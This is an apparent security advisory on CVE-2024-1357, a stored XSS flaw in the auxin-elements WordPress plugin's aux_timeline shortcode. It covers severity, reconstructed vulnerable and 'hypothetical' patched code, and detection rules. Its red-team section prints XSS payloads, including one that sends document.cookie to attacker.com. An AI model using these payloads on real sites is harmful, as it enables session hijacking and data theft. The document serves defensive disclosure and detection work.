CVE-2024-1357

Executive Summary

CVE-2024-1357 is a Stored Cross-Site Scripting (XSS) vulnerability in the Shortcodes and extra features for Phlox theme WordPress plugin (auxin-elements). The flaw exists in the aux_timeline shortcode, where user-supplied attributes such as thumb_mode and date_type are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level permissions to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, defacement, or data theft.

The vulnerability affects all versions up to and including 2.15.7. No official patch has been released at the time of analysis. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for sites with untrusted contributors.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is installed as a standard WordPress plugin. No NPM, PyPI, Go, or Ruby packages are involved. The risk is limited to WordPress sites using the auxin-elements plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim must visit the page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The medium severity reflects the need for authenticated access and user interaction, but the potential for stored XSS in a widely-used plugin warrants attention.

Deep Dive & Mechanics

The vulnerability resides in the aux_timeline shortcode handler within the auxin-elements plugin. The shortcode accepts attributes like thumb_mode and date_type, which are directly echoed into the page HTML without proper escaping. WordPress's built-in esc_attr() or esc_html() functions are not applied, allowing an attacker to inject JavaScript.

Attack Flow:

1. An attacker with Contributor-level access creates or edits a post/page.
2. They insert the [aux_timeline] shortcode with malicious payloads in attributes, e.g., [aux_timeline thumb_mode="<script>alert('XSS')</script>"].
3. The plugin renders the shortcode, outputting the unescaped attribute into the page source.
4. When any user (including admins) views the page, the script executes.

The vulnerability is stored because the malicious shortcode is saved in the database and executed on every page load.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.15.7):

// In auxin-elements/includes/elements/timeline.php
function aux_timeline_shortcode( $atts ) {
    extract( shortcode_atts( array(
        'thumb_mode' => 'default',
        'date_type'  => 'default',
    ), $atts ) );
    // Direct output without escaping
    $output = '<div class="aux-timeline" data-thumb-mode="' . $thumb_mode . '" data-date-type="' . $date_type . '">';
    // ... rest of the code
    return $output;
}

Patched Code (hypothetical fix):

function aux_timeline_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'thumb_mode' => 'default',
        'date_type'  => 'default',
    ), $atts );
    // Properly escape attributes
    $thumb_mode = esc_attr( $atts['thumb_mode'] );
    $date_type  = esc_attr( $atts['date_type'] );
    $output = '<div class="aux-timeline" data-thumb-mode="' . $thumb_mode . '" data-date-type="' . $date_type . '">';
    // ... rest of the code
    return $output;
}

The fix involves using esc_attr() on user-supplied attributes before output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with auxin-elements plugin <= 2.15.7
• Contributor-level account or higher

Exploit Steps:

1. Log in as a Contributor.
2. Create a new post or page.
3. Insert the following shortcode with a malicious payload:

   [aux_timeline thumb_mode="<script>alert(document.cookie)</script>"]
   

4. Publish the post.
5. When an admin or other user views the post, the JavaScript executes.

Advanced Payload (session hijacking):

[aux_timeline date_type="<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"]

Blue Team (Detection & Prevention)

Detection:

• Monitor for posts/pages containing [aux_timeline with suspicious attribute values (e.g., <script>, onerror=, etc.).
• Use WAF rules to block shortcode attributes containing JavaScript event handlers or script tags.

Prevention:

• Restrict Contributor-level permissions to trusted users only.
• Apply a virtual patch via WAF to sanitize thumb_mode and date_type attributes.
• If possible, disable the auxin-elements plugin until a patch is applied.

Indicators of Compromise (IOCs)

• File: wp-content/plugins/auxin-elements/includes/elements/timeline.php (vulnerable file)
• Shortcode pattern: [aux_timeline thumb_mode="<script>...</script>"] or similar
• HTTP request: POST to wp-admin/post.php with post_content containing malicious shortcode
• Log entries: Suspicious post_content in WordPress database containing unescaped HTML/JavaScript

Detection Engineering

YARA Rule

rule CVE_2024_1357_Stored_XSS {
    meta:
        description = "Detects malicious shortcode attributes in auxin-elements plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1357"
    strings:
        $shortcode = /\[aux_timeline[^\]]*?(thumb_mode|date_type)\s*=\s*["'][^"']*?<script[^>]*?>/
    condition:
        $shortcode
}

Sigma Rule

title: CVE-2024-1357 Stored XSS via aux_timeline Shortcode
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects posts/pages containing malicious aux_timeline shortcode attributes
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: "/wp-admin/post.php"
        http.body|contains: "[aux_timeline"
        http.body|contains|all:
            - "thumb_mode"
            - "<script"
    condition: selection
falsepositives:
    - Legitimate use of shortcode with safe attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1357 Stored XSS via aux_timeline Shortcode"; flow:to_server,established; content:"[aux_timeline"; http_client_body; content:"thumb_mode"; http_client_body; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not critical to operations.
2. Restrict Contributor permissions to only trusted users.
3. Apply a WAF rule to block shortcode attributes containing <script>, onerror=, onload=, etc.

Long-term Fix:

• The vendor (Auxin) must release a patched version that properly escapes shortcode attributes. Until then, consider forking the plugin and applying the fix manually.

Workaround:

• Use a WordPress security plugin (e.g., Wordfence) to block malicious shortcode patterns.
• Regularly audit posts/pages for suspicious shortcode usage.

Valters IT
Securing Digital Frontiers